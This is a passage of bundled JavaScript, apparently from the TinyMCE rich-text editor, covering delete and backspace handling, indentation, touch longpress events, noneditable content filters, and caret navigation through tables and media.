          return location.fold(constant(Optional.some(inside(location))), Optional.none, constant(Optional.some(outside(location))), Optional.none);
        } else {
          return location.fold(Optional.none, constant(Optional.some(outside(location))), Optional.none, constant(Optional.some(inside(location))));
        }
      });
      return location.map(setCaretLocation(editor, caret)).getOrThunk(() => {
        const toPosition = navigate(forward, rootNode, from);
        const toLocation = toPosition.bind(pos => readLocation(isInlineTarget$1, rootNode, pos));
        return lift2(fromLocation, toLocation, () => findRootInline(isInlineTarget$1, rootNode, from).bind(elm => {
          if (hasOnlyTwoOrLessPositionsLeft(elm)) {
            return Optional.some(() => {
              deleteElement$2(editor, forward, SugarElement.fromDom(elm));
            });
          } else {
            return Optional.none();
          }
        })).getOrThunk(() => toLocation.bind(() => toPosition.map(to => {
          return () => {
            if (forward) {
              deleteFromTo(editor, caret, from, to);
            } else {
              deleteFromTo(editor, caret, to, from);
            }
          };
        })));
      });
    };
    const backspaceDelete$3 = (editor, caret, forward) => {
      if (editor.selection.isCollapsed() && isInlineBoundariesEnabled(editor)) {
        const from = CaretPosition.fromRangeStart(editor.selection.getRng());
        return backspaceDeleteCollapsed(editor, caret, forward, from);
      }
      return Optional.none();
    };

    const getParentInlines = (rootElm, startElm) => {
      const parents = parentsAndSelf(startElm, rootElm);
      return findIndex$2(parents, isBlock$2).fold(constant(parents), index => parents.slice(0, index));
    };
    const hasOnlyOneChild = elm => childNodesCount(elm) === 1;
    const deleteLastPosition = (forward, editor, target, parentInlines) => {
      const isFormatElement$1 = curry(isFormatElement, editor);
      const formatNodes = map$3(filter$5(parentInlines, isFormatElement$1), elm => elm.dom);
      if (formatNodes.length === 0) {
        deleteElement$2(editor, forward, target);
      } else {
        const pos = replaceWithCaretFormat(target.dom, formatNodes);
        editor.selection.setRng(pos.toRange());
      }
    };
    const deleteCaret$1 = (editor, forward) => {
      const rootElm = SugarElement.fromDom(editor.getBody());
      const startElm = SugarElement.fromDom(editor.selection.getStart());
      const parentInlines = filter$5(getParentInlines(rootElm, startElm), hasOnlyOneChild);
      return last$3(parentInlines).bind(target => {
        const fromPos = CaretPosition.fromRangeStart(editor.selection.getRng());
        if (willDeleteLastPositionInElement(forward, fromPos, target.dom) && !isEmptyCaretFormatElement(target)) {
          return Optional.some(() => deleteLastPosition(forward, editor, target, parentInlines));
        } else {
          return Optional.none();
        }
      });
    };
    const backspaceDelete$2 = (editor, forward) => editor.selection.isCollapsed() ? deleteCaret$1(editor, forward) : Optional.none();

    const deleteElement = (editor, forward, element) => {
      if (isNonNullable(element)) {
        return Optional.some(() => {
          editor._selectionOverrides.hideFakeCaret();
          deleteElement$2(editor, forward, SugarElement.fromDom(element));
        });
      } else {
        return Optional.none();
      }
    };
    const deleteCaret = (editor, forward) => {
      const isNearMedia = forward ? isBeforeMedia : isAfterMedia;
      const direction = forward ? HDirection.Forwards : HDirection.Backwards;
      const fromPos = getNormalizedRangeEndPoint(direction, editor.getBody(), editor.selection.getRng());
      if (isNearMedia(fromPos)) {
        return deleteElement(editor, forward, fromPos.getNode(!forward));
      } else {
        return Optional.from(normalizePosition(forward, fromPos)).filter(pos => isNearMedia(pos) && isMoveInsideSameBlock(fromPos, pos)).bind(pos => deleteElement(editor, forward, pos.getNode(!forward)));
      }
    };
    const deleteRange = (editor, forward) => {
      const selectedNode = editor.selection.getNode();
      return isMedia$2(selectedNode) ? deleteElement(editor, forward, selectedNode) : Optional.none();
    };
    const backspaceDelete$1 = (editor, forward) => editor.selection.isCollapsed() ? deleteCaret(editor, forward) : deleteRange(editor, forward);

    const isEditable$1 = target => closest$4(target, elm => isContentEditableTrue$3(elm.dom) || isContentEditableFalse$a(elm.dom)).exists(elm => isContentEditableTrue$3(elm.dom));
    const parseIndentValue = value => toInt(value !== null && value !== void 0 ? value : '').getOr(0);
    const getIndentStyleName = (useMargin, element) => {
      const indentStyleName = useMargin || isTable$1(element) ? 'margin' : 'padding';
      const suffix = get$7(element, 'direction') === 'rtl' ? '-right' : '-left';
      return indentStyleName + suffix;
    };
    const indentElement = (dom, command, useMargin, value, unit, element) => {
      const indentStyleName = getIndentStyleName(useMargin, SugarElement.fromDom(element));
      const parsedValue = parseIndentValue(dom.getStyle(element, indentStyleName));
      if (command === 'outdent') {
        const styleValue = Math.max(0, parsedValue - value);
        dom.setStyle(element, indentStyleName, styleValue ? styleValue + unit : '');
      } else {
        const styleValue = parsedValue + value + unit;
        dom.setStyle(element, indentStyleName, styleValue);
      }
    };
    const validateBlocks = (editor, blocks) => forall(blocks, block => {
      const indentStyleName = getIndentStyleName(shouldIndentUseMargin(editor), block);
      const intentValue = getRaw$1(block, indentStyleName).map(parseIndentValue).getOr(0);
      const contentEditable = editor.dom.getContentEditable(block.dom);
      return contentEditable !== 'false' && intentValue > 0;
    });
    const canOutdent = editor => {
      const blocks = getBlocksToIndent(editor);
      return !editor.mode.isReadOnly() && (blocks.length > 1 || validateBlocks(editor, blocks));
    };
    const isListComponent = el => isList(el) || isListItem$1(el);
    const parentIsListComponent = el => parent(el).exists(isListComponent);
    const getBlocksToIndent = editor => filter$5(fromDom$1(editor.selection.getSelectedBlocks()), el => !isListComponent(el) && !parentIsListComponent(el) && isEditable$1(el));
    const handle = (editor, command) => {
      var _a, _b;
      const {dom} = editor;
      const indentation = getIndentation(editor);
      const indentUnit = (_b = (_a = /[a-z%]+$/i.exec(indentation)) === null || _a === void 0 ? void 0 : _a[0]) !== null && _b !== void 0 ? _b : 'px';
      const indentValue = parseIndentValue(indentation);
      const useMargin = shouldIndentUseMargin(editor);
      each$e(getBlocksToIndent(editor), block => {
        indentElement(dom, command, useMargin, indentValue, indentUnit, block.dom);
      });
    };
    const indent = editor => handle(editor, 'indent');
    const outdent = editor => handle(editor, 'outdent');

    const backspaceDelete = editor => {
      if (editor.selection.isCollapsed() && canOutdent(editor)) {
        const dom = editor.dom;
        const rng = editor.selection.getRng();
        const pos = CaretPosition.fromRangeStart(rng);
        const block = dom.getParent(rng.startContainer, dom.isBlock);
        if (block !== null && isAtStartOfBlock(SugarElement.fromDom(block), pos)) {
          return Optional.some(() => outdent(editor));
        }
      }
      return Optional.none();
    };

    const findAction = (editor, caret, forward) => findMap([
      backspaceDelete,
      backspaceDelete$5,
      backspaceDelete$6,
      (editor, forward) => backspaceDelete$3(editor, caret, forward),
      backspaceDelete$8,
      backspaceDelete$9,
      backspaceDelete$4,
      backspaceDelete$1,
      backspaceDelete$7,
      backspaceDelete$2
    ], item => item(editor, forward));
    const deleteCommand = (editor, caret) => {
      const result = findAction(editor, caret, false);
      result.fold(() => {
        execNativeDeleteCommand(editor);
        paddEmptyBody(editor);
      }, call);
    };
    const forwardDeleteCommand = (editor, caret) => {
      const result = findAction(editor, caret, true);
      result.fold(() => execNativeForwardDeleteCommand(editor), call);
    };
    const setup$p = (editor, caret) => {
      editor.addCommand('delete', () => {
        deleteCommand(editor, caret);
      });
      editor.addCommand('forwardDelete', () => {
        forwardDeleteCommand(editor, caret);
      });
    };

    const SIGNIFICANT_MOVE = 5;
    const LONGPRESS_DELAY = 400;
    const getTouch = event => {
      if (event.touches === undefined || event.touches.length !== 1) {
        return Optional.none();
      }
      return Optional.some(event.touches[0]);
    };
    const isFarEnough = (touch, data) => {
      const distX = Math.abs(touch.clientX - data.x);
      const distY = Math.abs(touch.clientY - data.y);
      return distX > SIGNIFICANT_MOVE || distY > SIGNIFICANT_MOVE;
    };
    const setup$o = editor => {
      const startData = value$2();
      const longpressFired = Cell(false);
      const debounceLongpress = last$1(e => {
        editor.dispatch('longpress', {
          ...e,
          type: 'longpress'
        });
        longpressFired.set(true);
      }, LONGPRESS_DELAY);
      editor.on('touchstart', e => {
        getTouch(e).each(touch => {
          debounceLongpress.cancel();
          const data = {
            x: touch.clientX,
            y: touch.clientY,
            target: e.target
          };
          debounceLongpress.throttle(e);
          longpressFired.set(false);
          startData.set(data);
        });
      }, true);
      editor.on('touchmove', e => {
        debounceLongpress.cancel();
        getTouch(e).each(touch => {
          startData.on(data => {
            if (isFarEnough(touch, data)) {
              startData.clear();
              longpressFired.set(false);
              editor.dispatch('longpresscancel');
            }
          });
        });
      }, true);
      editor.on('touchend touchcancel', e => {
        debounceLongpress.cancel();
        if (e.type === 'touchcancel') {
          return;
        }
        startData.get().filter(data => data.target.isEqualNode(e.target)).each(() => {
          if (longpressFired.get()) {
            e.preventDefault();
          } else {
            editor.dispatch('tap', {
              ...e,
              type: 'tap'
            });
          }
        });
      }, true);
    };

    const isBlockElement = (blockElements, node) => has$2(blockElements, node.nodeName);
    const isValidTarget = (schema, node) => {
      if (isText$a(node)) {
        return true;
      } else if (isElement$6(node)) {
        return !isBlockElement(schema.getBlockElements(), node) && !isBookmarkNode$1(node) && !isTransparentBlock(schema, node);
      } else {
        return false;
      }
    };
    const hasBlockParent = (blockElements, root, node) => {
      return exists(parents(SugarElement.fromDom(node), SugarElement.fromDom(root)), elm => {
        return isBlockElement(blockElements, elm.dom);
      });
    };
    const shouldRemoveTextNode = (blockElements, node) => {
      if (isText$a(node)) {
        if (node.data.length === 0) {
          return true;
        } else if (/^\s+$/.test(node.data) && (!node.nextSibling || isBlockElement(blockElements, node.nextSibling))) {
          return true;
        }
      }
      return false;
    };
    const createRootBlock = editor => editor.dom.create(getForcedRootBlock(editor), getForcedRootBlockAttrs(editor));
    const addRootBlocks = editor => {
      const dom = editor.dom, selection = editor.selection;
      const schema = editor.schema;
      const blockElements = schema.getBlockElements();
      const startNode = selection.getStart();
      const rootNode = editor.getBody();
      let rootBlockNode;
      let tempNode;
      let wrapped = false;
      const forcedRootBlock = getForcedRootBlock(editor);
      if (!startNode || !isElement$6(startNode)) {
        return;
      }
      const rootNodeName = rootNode.nodeName.toLowerCase();
      if (!schema.isValidChild(rootNodeName, forcedRootBlock.toLowerCase()) || hasBlockParent(blockElements, rootNode, startNode)) {
        return;
      }
      const rng = selection.getRng();
      const {startContainer, startOffset, endContainer, endOffset} = rng;
      const restoreSelection = hasFocus(editor);
      let node = rootNode.firstChild;
      while (node) {
        if (isElement$6(node)) {
          updateElement(schema, node);
        }
        if (isValidTarget(schema, node)) {
          if (shouldRemoveTextNode(blockElements, node)) {
            tempNode = node;
            node = node.nextSibling;
            dom.remove(tempNode);
            continue;
          }
          if (!rootBlockNode) {
            rootBlockNode = createRootBlock(editor);
            rootNode.insertBefore(rootBlockNode, node);
            wrapped = true;
          }
          tempNode = node;
          node = node.nextSibling;
          rootBlockNode.appendChild(tempNode);
        } else {
          rootBlockNode = null;
          node = node.nextSibling;
        }
      }
      if (wrapped && restoreSelection) {
        rng.setStart(startContainer, startOffset);
        rng.setEnd(endContainer, endOffset);
        selection.setRng(rng);
        editor.nodeChanged();
      }
    };
    const insertEmptyLine = (editor, root, insertBlock) => {
      const block = SugarElement.fromDom(createRootBlock(editor));
      const br = createPaddingBr();
      append$1(block, br);
      insertBlock(root, block);
      const rng = document.createRange();
      rng.setStartBefore(br.dom);
      rng.setEndBefore(br.dom);
      return rng;
    };
    const setup$n = editor => {
      editor.on('NodeChange', curry(addRootBlocks, editor));
    };

    const hasClass = checkClassName => node => (' ' + node.attr('class') + ' ').indexOf(checkClassName) !== -1;
    const replaceMatchWithSpan = (editor, content, cls) => {
      return function (match) {
        const args = arguments, index = args[args.length - 2];
        const prevChar = index > 0 ? content.charAt(index - 1) : '';
        if (prevChar === '"') {
          return match;
        }
        if (prevChar === '>') {
          const findStartTagIndex = content.lastIndexOf('<', index);
          if (findStartTagIndex !== -1) {
            const tagHtml = content.substring(findStartTagIndex, index);
            if (tagHtml.indexOf('contenteditable="false"') !== -1) {
              return match;
            }
          }
        }
        return '<span class="' + cls + '" data-mce-content="' + editor.dom.encode(args[0]) + '">' + editor.dom.encode(typeof args[1] === 'string' ? args[1] : args[0]) + '</span>';
      };
    };
    const convertRegExpsToNonEditable = (editor, nonEditableRegExps, e) => {
      let i = nonEditableRegExps.length, content = e.content;
      if (e.format === 'raw') {
        return;
      }
      while (i--) {
        content = content.replace(nonEditableRegExps[i], replaceMatchWithSpan(editor, content, getNonEditableClass(editor)));
      }
      e.content = content;
    };
    const setup$m = editor => {
      const contentEditableAttrName = 'contenteditable';
      const editClass = ' ' + Tools.trim(getEditableClass(editor)) + ' ';
      const nonEditClass = ' ' + Tools.trim(getNonEditableClass(editor)) + ' ';
      const hasEditClass = hasClass(editClass);
      const hasNonEditClass = hasClass(nonEditClass);
      const nonEditableRegExps = getNonEditableRegExps(editor);
      if (nonEditableRegExps.length > 0) {
        editor.on('BeforeSetContent', e => {
          convertRegExpsToNonEditable(editor, nonEditableRegExps, e);
        });
      }
      editor.parser.addAttributeFilter('class', nodes => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          if (hasEditClass(node)) {
            node.attr(contentEditableAttrName, 'true');
          } else if (hasNonEditClass(node)) {
            node.attr(contentEditableAttrName, 'false');
          }
        }
      });
      editor.serializer.addAttributeFilter(contentEditableAttrName, nodes => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          if (!hasEditClass(node) && !hasNonEditClass(node)) {
            continue;
          }
          if (nonEditableRegExps.length > 0 && node.attr('data-mce-content')) {
            node.name = '#text';
            node.type = 3;
            node.raw = true;
            node.value = node.attr('data-mce-content');
          } else {
            node.attr(contentEditableAttrName, null);
          }
        }
      });
    };

    const findBlockCaretContainer = editor => descendant(SugarElement.fromDom(editor.getBody()), '*[data-mce-caret]').map(elm => elm.dom).getOrNull();
    const showBlockCaretContainer = (editor, blockCaretContainer) => {
      if (blockCaretContainer.hasAttribute('data-mce-caret')) {
        showCaretContainerBlock(blockCaretContainer);
        editor.selection.setRng(editor.selection.getRng());
        editor.selection.scrollIntoView(blockCaretContainer);
      }
    };
    const handleBlockContainer = (editor, e) => {
      const blockCaretContainer = findBlockCaretContainer(editor);
      if (!blockCaretContainer) {
        return;
      }
      if (e.type === 'compositionstart') {
        e.preventDefault();
        e.stopPropagation();
        showBlockCaretContainer(editor, blockCaretContainer);
        return;
      }
      if (hasContent(blockCaretContainer)) {
        showBlockCaretContainer(editor, blockCaretContainer);
        editor.undoManager.add();
      }
    };
    const setup$l = editor => {
      editor.on('keyup compositionstart', curry(handleBlockContainer, editor));
    };

    const isContentEditableFalse$3 = isContentEditableFalse$a;
    const moveToCeFalseHorizontally = (direction, editor, range) => moveHorizontally(editor, direction, range, isBeforeContentEditableFalse, isAfterContentEditableFalse, isContentEditableFalse$3);
    const moveToCeFalseVertically = (direction, editor, range) => {
      const isBefore = caretPosition => isBeforeContentEditableFalse(caretPosition) || isBeforeTable(caretPosition);
      const isAfter = caretPosition => isAfterContentEditableFalse(caretPosition) || isAfterTable(caretPosition);
      return moveVertically(editor, direction, range, isBefore, isAfter, isContentEditableFalse$3);
    };
    const createTextBlock = editor => {
      const textBlock = editor.dom.create(getForcedRootBlock(editor));
      textBlock.innerHTML = '<br data-mce-bogus="1">';
      return textBlock;
    };
    const exitPreBlock = (editor, direction, range) => {
      const caretWalker = CaretWalker(editor.getBody());
      const getVisualCaretPosition$1 = curry(getVisualCaretPosition, direction === 1 ? caretWalker.next : caretWalker.prev);
      if (range.collapsed) {
        const pre = editor.dom.getParent(range.startContainer, 'PRE');
        if (!pre) {
          return;
        }
        const caretPos = getVisualCaretPosition$1(CaretPosition.fromRangeStart(range));
        if (!caretPos) {
          const newBlock = SugarElement.fromDom(createTextBlock(editor));
          if (direction === 1) {
            after$4(SugarElement.fromDom(pre), newBlock);
          } else {
            before$3(SugarElement.fromDom(pre), newBlock);
          }
          editor.selection.select(newBlock.dom, true);
          editor.selection.collapse();
        }
      }
    };
    const getHorizontalRange = (editor, forward) => {
      const direction = forward ? HDirection.Forwards : HDirection.Backwards;
      const range = editor.selection.getRng();
      return moveToCeFalseHorizontally(direction, editor, range).orThunk(() => {
        exitPreBlock(editor, direction, range);
        return Optional.none();
      });
    };
    const getVerticalRange = (editor, down) => {
      const direction = down ? 1 : -1;
      const range = editor.selection.getRng();
      return moveToCeFalseVertically(direction, editor, range).orThunk(() => {
        exitPreBlock(editor, direction, range);
        return Optional.none();
      });
    };
    const moveH$2 = (editor, forward) => getHorizontalRange(editor, forward).exists(newRange => {
      moveToRange(editor, newRange);
      return true;
    });
    const moveV$3 = (editor, down) => getVerticalRange(editor, down).exists(newRange => {
      moveToRange(editor, newRange);
      return true;
    });
    const moveToLineEndPoint$1 = (editor, forward) => {
      const isCefPosition = forward ? isAfterContentEditableFalse : isBeforeContentEditableFalse;
      return moveToLineEndPoint$3(editor, forward, isCefPosition);
    };
    const selectToEndPoint = (editor, forward) => getEdgeCefPosition(editor, !forward).map(pos => {
      const rng = pos.toRange();
      const curRng = editor.selection.getRng();
      if (forward) {
        rng.setStart(curRng.startContainer, curRng.startOffset);
      } else {
        rng.setEnd(curRng.endContainer, curRng.endOffset);
      }
      return rng;
    }).exists(rng => {
      moveToRange(editor, rng);
      return true;
    });

    const isTarget = node => contains$2(['figcaption'], name(node));
    const getClosestTargetBlock = (pos, root) => {
      const isRoot = curry(eq, root);
      return closest$4(SugarElement.fromDom(pos.container()), isBlock$2, isRoot).filter(isTarget);
    };
    const isAtFirstOrLastLine = (root, forward, pos) => forward ? isAtLastLine(root.dom, pos) : isAtFirstLine(root.dom, pos);
    const moveCaretToNewEmptyLine = (editor, forward) => {
      const root = SugarElement.fromDom(editor.getBody());
      const pos = CaretPosition.fromRangeStart(editor.selection.getRng());
      return getClosestTargetBlock(pos, root).exists(() => {
        if (isAtFirstOrLastLine(root, forward, pos)) {
          const insertFn = forward ? append$1 : prepend;
          const rng = insertEmptyLine(editor, root, insertFn);
          editor.selection.setRng(rng);
          return true;
        } else {
          return false;
        }
      });
    };
    const moveV$2 = (editor, forward) => {
      if (editor.selection.isCollapsed()) {
        return moveCaretToNewEmptyLine(editor, forward);
      } else {
        return false;
      }
    };

    const baseKeyPattern = {
      shiftKey: false,
      altKey: false,
      ctrlKey: false,
      metaKey: false,
      keyCode: 0
    };
    const defaultPatterns = patterns => map$3(patterns, pattern => ({
      ...baseKeyPattern,
      ...pattern
    }));
    const defaultDelayedPatterns = patterns => map$3(patterns, pattern => ({
      ...baseKeyPattern,
      ...pattern
    }));
    const matchesEvent = (pattern, evt) => evt.keyCode === pattern.keyCode && evt.shiftKey === pattern.shiftKey && evt.altKey === pattern.altKey && evt.ctrlKey === pattern.ctrlKey && evt.metaKey === pattern.metaKey;
    const match$1 = (patterns, evt) => bind$3(defaultPatterns(patterns), pattern => matchesEvent(pattern, evt) ? [pattern] : []);
    const matchDelayed = (patterns, evt) => bind$3(defaultDelayedPatterns(patterns), pattern => matchesEvent(pattern, evt) ? [pattern] : []);
    const action = (f, ...x) => () => f.apply(null, x);
    const execute = (patterns, evt) => find$2(match$1(patterns, evt), pattern => pattern.action());
    const executeWithDelayedAction = (patterns, evt) => findMap(matchDelayed(patterns, evt), pattern => pattern.action());

    const moveH$1 = (editor, forward) => {
      const direction = forward ? HDirection.Forwards : HDirection.Backwards;
      const range = editor.selection.getRng();
      return moveHorizontally(editor, direction, range, isBeforeMedia, isAfterMedia, isMedia$2).exists(newRange => {
        moveToRange(editor, newRange);
        return true;
      });
    };
    const moveV$1 = (editor, down) => {
      const direction = down ? 1 : -1;
      const range = editor.selection.getRng();
      return moveVertically(editor, direction, range, isBeforeMedia, isAfterMedia, isMedia$2).exists(newRange => {
        moveToRange(editor, newRange);
        return true;
      });
    };
    const moveToLineEndPoint = (editor, forward) => {
      const isNearMedia = forward ? isAfterMedia : isBeforeMedia;
      return moveToLineEndPoint$3(editor, forward, isNearMedia);
    };

    const adt = Adt.generate([
      { none: ['current'] },
      { first: ['current'] },
      {
        middle: [
          'current',
          'target'
        ]
      },
      { last: ['current'] }
    ]);
    const none = current => adt.none(current);
    const CellLocation = {
      ...adt,
      none
    };

    const firstLayer = (scope, selector) => {
      return filterFirstLayer(scope, selector, always);
    };
    const filterFirstLayer = (scope, selector, predicate) => {
      return bind$3(children$1(scope), x => {
        if (is$1(x, selector)) {
          return predicate(x) ? [x] : [];
        } else {
          return filterFirstLayer(x, selector, predicate);
        }
      });
    };

    const lookup$1 = (tags, element, isRoot = never) => {
      if (isRoot(element)) {
        return Optional.none();
      }
      if (contains$2(tags, name(element))) {
        return Optional.some(element);
      }
      const isRootOrUpperTable = elm => is$1(elm, 'table') || isRoot(elm);
      return ancestor$2(element, tags.join(','), isRootOrUpperTable);
    };
    const cell = (element, isRoot) => lookup$1([
      'td',
      'th'
    ], element, isRoot);
    const cells = ancestor => firstLayer(ancestor, 'th,td');
    const table = (element, isRoot) => closest$3(element, 'table', isRoot);

    const walk = (all, current, index, direction, isEligible = always) => {
      const forwards = direction === 1;
      if (!forwards && index <= 0) {
        return CellLocation.first(all[0]);
      } else if (forwards && index >= all.length - 1) {
        return CellLocation.last(all[all.length - 1]);
      } else {
        const newIndex = index + direction;
        const elem = all[newIndex];
        return isEligible(elem) ? CellLocation.middle(current, elem) : walk(all, current, newIndex, direction, isEligible);
      }
    };
    const detect = (current, isRoot) => {
      return table(current, isRoot).bind(table => {
        const all = cells(table);
        const index = findIndex$2(all, x => eq(current, x));
        return index.map(index => ({
          index,
          all
        }));
      });
    };
    const next = (current, isEligible, isRoot) => {
      const detection = detect(current, isRoot);
      return detection.fold(() => {
        return CellLocation.none(current);
      }, info => {
        return walk(info.all, current, info.index, 1, isEligible);
      });
    };
    const prev = (current, isEligible, isRoot) => {
      const detection = detect(current, isRoot);
      return detection.fold(() => {
        return CellLocation.none();
      }, info => {
        return walk(info.all, current, info.index, -1, isEligible);
      });
    };

    const closest = target => closest$3(target, '[contenteditable]');
    const isEditable = (element, assumeEditable = false) => {
      if (inBody(element)) {
        return element.dom.isContentEditable;
      } else {
        return closest(element).fold(constant(assumeEditable), editable => getRaw(editable) === 'true');
      }
    };
    const getRaw = element => element.dom.contentEditable;

    const deflate = (rect, delta) => ({
      left: rect.left - delta,
      top: rect.top - delta,
      right: rect.right + delta * 2,
      bottom: rect.bottom + delta * 2,
      width: rect.width + delta,
      height: rect.height + delta
    });
    const getCorners = (getYAxisValue, tds) => bind$3(tds, td => {
      const rect = deflate(clone$1(td.getBoundingClientRect()), -1);
      return [
        {
          x: rect.left,
          y: getYAxisValue(rect),
          cell: td
        },
        {
          x: rect.right,
          y: getYAxisValue(rect),
          cell: td
        }
      ];
    });
    const findClosestCorner = (corners, x, y) => foldl(corners, (acc, newCorner) => acc.fold(() => Optional.some(newCorner), oldCorner => {
      const oldDist = Math.sqrt(Math.abs(oldCorner.x - x) + Math.abs(oldCorner.y - y));
      const newDist = Math.sqrt(Math.abs(newCorner.x - x) + Math.abs(newCorner.y - y));
      return Optional.some(newDist < oldDist ? newCorner : oldCorner);
    }), Optional.none());
    const getClosestCell = (getYAxisValue, isTargetCorner, table, x, y) => {
      const cells = descendants(SugarElement.fromDom(table), 'td,th,caption').map(e => e.dom);
      const corners = filter$5(getCorners(getYAxisValue, cells), corner => isTargetCorner(corner, y));
      return findClosestCorner(corners, x, y).map(corner => corner.cell);
    };
    const getBottomValue = rect => rect.bottom;
    const getTopValue = rect => rect.top;
    const isAbove = (corner, y) => corner.y < y;
    const isBelow = (corner, y) => corner.y > y;
    const getClosestCellAbove = curry(getClosestCell, getBottomValue, isAbove);
    const getClosestCellBelow = curry(getClosestCell, getTopValue, isBelow);
    const findClosestPositionInAboveCell = (table, pos) => head(pos.getClientRects()).bind(rect => getClosestCellAbove(table, rect.left, rect.top)).bind(cell => findClosestHorizontalPosition(getLastLinePositions(cell), pos));
    const findClosestPositionInBelowCell = (table, pos) => last$3(pos.getClientRects()).bind(rect => getClosestCellBelow(table, rect.left, rect.top)).bind(cell => findClosestHorizontalPosition(getFirstLinePositions(cell), pos));

    const hasNextBreak = (getPositionsUntil, scope, lineInfo) => lineInfo.breakAt.exists(breakPos => getPositionsUntil(scope, breakPos).breakAt.isSome());
    const startsWithWrapBreak = lineInfo => lineInfo.breakType === BreakType.Wrap && lineInfo.positions.length === 0;
    const startsWithBrBreak = lineInfo => lineInfo.breakType === BreakType.Br && lineInfo.positions.length === 1;
    const isAtTableCellLine = (getPositionsUntil, scope, pos) => {
      const lineInfo = getPositionsUntil(scope, pos);
      if (startsWithWrapBreak(lineInfo) || !isBr$6(pos.getNode()) && startsWithBrBreak(lineInfo)) {
        return !hasNextBreak(getPositionsUntil, scope, lineInfo);
      } else {
        return lineInfo.breakAt.isNone();
      }
    };
    const isAtFirstTableCellLine = curry(isAtTableCellLine, getPositionsUntilPreviousLine);
    const isAtLastTableCellLine = curry(isAtTableCellLine, getPositionsUntilNextLine);
    const isCaretAtStartOrEndOfTable = (forward, rng, table) => {
      const caretPos = CaretPosition.fromRangeStart(rng);
      return positionIn(!forward, table).exists(pos => pos.isEqual(caretPos));
    };
    const navigateHorizontally = (editor, forward, table, _td) => {
      const rng = editor.selection.getRng();
      const direction = forward ? 1 : -1;
      if (isFakeCaretTableBrowser() && isCaretAtStartOrEndOfTable(forward, rng, table)) {
        showCaret(direction, editor, table, !forward, false).each(newRng => {
          moveToRange(editor, newRng);
        });
        return true;
      }
      return false;
    };
    const getClosestAbovePosition = (root, table, start) => findClosestPositionInAboveCell(table, start).orThunk(() => head(start.getClientRects()).bind(rect => findClosestHorizontalPositionFromPoint(getPositionsAbove(root, CaretPosition.before(table)), rect.left))).getOr(CaretPosition.before(table));
    const getClosestBelowPosition = (root, table, start) => findClosestPositionInBelowCell(table, start).orThunk(() => head(start.getClientRects()).bind(rect => findClosestHorizontalPositionFromPoint(getPositionsBelow(root, CaretPosition.after(table)), rect.left))).getOr(CaretPosition.after(table));
    const getTable = (previous, pos) => {
      const node = pos.getNode(previous);
      return isTable$2(node) ? Optional.some(node) : Optional.none();
    };
    const renderBlock = (down, editor, table) => {
      editor.undoManager.transact(() => {
        const insertFn = down ? after$4 : before$3;
        const rng = insertEmptyLine(editor, SugarElement.fromDom(table), insertFn);
        moveToRange(editor, rng);
      });
    };
    const moveCaret = (editor, down, pos) => {
      const table = down ? getTable(true, pos) : getTable(false, pos);
      const last = down === false;
      table.fold(() => moveToRange(editor, pos.toRange()), table => positionIn(last, editor.getBody()).filter(lastPos => lastPos.isEqual(pos)).fold(() => moveToRange(editor, pos.toRange()), _ => renderBlock(down, editor, table)));
    };
    const navigateVertically = (editor, down, table, td) => {
      const rng = editor.selection.getRng();
      const pos = CaretPosition.fromRangeStart(rng);
      const root = editor.getBody();
      if (!down && isAtFirstTableCellLine(td, pos)) {
        const newPos = getClosestAbovePosition(root, table, pos);
        moveCaret(editor, down, newPos);
        return true;
      } else if (down && isAtLastTableCellLine(td, pos)) {
        const newPos = getClosestBelowPosition(root, table, pos);
        moveCaret(editor, down, newPos);
        return true;
      } else {
        return false;
      }
    };
    const move$1 = (editor, forward, mover) => Optional.from(editor.dom.getParent(editor.selection.getNode(), 'td,th')).bind(td => Optional.from(editor.dom.getParent(td, 'table')).map(table => mover(editor, forward, table, td))).getOr(false);
    const moveH = (editor, forward) => move$1(editor, forward, navigateHorizontally);
    const moveV = (editor, forward) => move$1(editor, forward, navigateVertically);
    const getCellFirstCursorPosition = cell => {
      const selection = SimSelection.exact(cell, 0, cell, 0);
      return toNative(selection);
    };
    const tabGo = (editor, isRoot, cell) => {
      return cell.fold(Optional.none, Optional.none, (_current, next) => {
        return first(next).map(cell => {
          return getCellFirstCursorPosition(cell);
        });
      }, current => {
        editor.execCommand('mceTableInsertRowAfter');
        return tabForward(editor, isRoot, current);
      });
    };
    const tabForward = (editor, isRoot, cell) => tabGo(editor, isRoot, next(cell, isEditable));
    const tabBackward = (editor, isRoot, cell) => tabGo(editor, isRoot, prev(cell, isEditable));
    const handleTab = (editor, forward) => {
      const rootElements = [
        'table',
        'li',
        'dl'
      ];
      const body = SugarElement.fromDom(editor.getBody());
      const isRoot = element => {
        const name$1 = name(element);
        return eq(element, body) || contains$2(rootElements, name$1);
      };
      const rng = editor.selection.getRng();
      const container = SugarElement.fromDom(!forward ? rng.startContainer : rng.endContainer);
      return cell(container, isRoot).map(cell => {
        table(cell, isRoot).each(table => {
          editor.model.table.clearSelectedCells(table.dom);
        });
        editor.selection.collapse(!forward);
        const navigation = !forward ? tabBackward : tabForward;
        const rng = navigation(editor, isRoot, cell);
        rng.each(range => {
          editor.selection.setRng(range);
        });
        return true;
      }).getOr(false);
    };

    const executeKeydownOverride$4 = (editor, caret, evt) => {
      const isMac = Env.os.isMacOS() || Env.os.isiOS();
      execute([
        {
          keyCode: VK.RIGHT,
          action: action(moveH$2, editor, true)
        },
        {
          keyCode: VK.LEFT,
          action: action(moveH$2, editor, false)
        },
        {
          keyCode: VK.UP,
          action: action(moveV$3, editor, false)
        },
        {
          keyCode: VK.DOWN,
          action: action(moveV$3, editor, true)
        },
        ...isMac ? [
          {
            keyCode: VK.UP,
            action: action(selectToEndPoint, editor, false),
            metaKey: true,
            shiftKey: true
          },
          {
            keyCode: VK.DOWN,
            action: action(selectToEndPoint, editor, true),
            metaKey: true,
            shiftKey: true
          }
        ] : [],
        {
          keyCode: VK.RIGHT,
          action: action(moveH, editor, true)
        },
        {
          keyCode: VK.LEFT,
          action: action(moveH, editor, false)
        },
        {
          keyCode: VK.UP,
          action: action(moveV, editor, false)
        },
        {
          keyCode: VK.DOWN,
          action: action(moveV, editor, true)
        },
        {
          keyCode: VK.RIGHT,
          action: action(moveH$1, editor, true)
        },
        {
          keyCode: VK.LEFT,
          action: action(moveH$1, editor, false)
        },
        {
          keyCode: VK.UP,
          action: action(moveV$1, editor, false)
        },
        {
          keyCode: VK.DOWN,
          action: action(moveV$1, editor, true)
        },
        {
          keyCode: VK.RIGHT,
          action: action(move$2, editor, caret, true)
        },
        {
          keyCode: VK.LEFT,
          action: action(move$2, editor, caret, false)
        },
        {
